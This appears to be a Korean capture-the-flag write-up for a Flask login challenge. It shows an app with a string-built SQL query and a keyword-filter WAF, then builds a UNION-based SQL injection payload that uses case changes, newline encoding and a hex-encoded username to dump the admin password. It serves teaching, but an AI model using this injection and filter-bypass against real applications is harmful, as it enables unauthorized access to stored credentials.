자 먼저 문제 파일 먼저 살펴보자.

가장 먼저 app.py를 살펴보면

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            result = cur.fetchone()
            if result:
                return template.format(uid=uid, result=result[1])
            else:
                return template.format(uid=uid, result='')
        except Exception as e:
            return f'<pre>Error: {type(e).__name__}\\n{str(e)}</pre>', 500

    else:
        return template

if __name__ == '__main__':
    app.run(host='0.0.0.0')
  1. uid를 별다른 검증없이 그대로 쿼리 문자열에 넣기에 이 부분으로 sql injection이 가능하다는 것을 알 수 있다.

  2. 다만, 아래에 리턴 부분을 보면 두번째 열이 화면에 출력되므로 플래그를 얻으려면 두 번째 열에 admin의 upw가 와야 한다.

  3. WAF(차단 문자열)들이 존재한다. union이나 admin같은 경우 대소문자 구분과 관련된 필터링은 없으므로 이를 통해 우회가 가능하다.

그리고 init.sql 파일을 살펴보면 admin의 password에 flag가 있다는 것을 확인할 수 있다.

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;

즉, 우리의 목표는 admin의 upw 값을 화면의 result 자리에 출력시키는 것이다.

위에 설명에 의해 admin의 upw를 2번째 열로 만들면 된다. => UNION SELECT 이용

공격 페이로드: ' Union Select 1,upw,1 From user Where uid=0x41646d696e #';

다만 공백은 우회되므로 url에 한번 디코딩하여 실시한다.

최종: ?uid=%27Union%0aSelect%0a1%2Cupw%2C1%0aFrom%0auser%0aWhere%0auid%3D0x41646d696e%23

위와 같이 url에 입력할 시에 아래처럼 우리가 의도한 바대로 flag가 출력된다.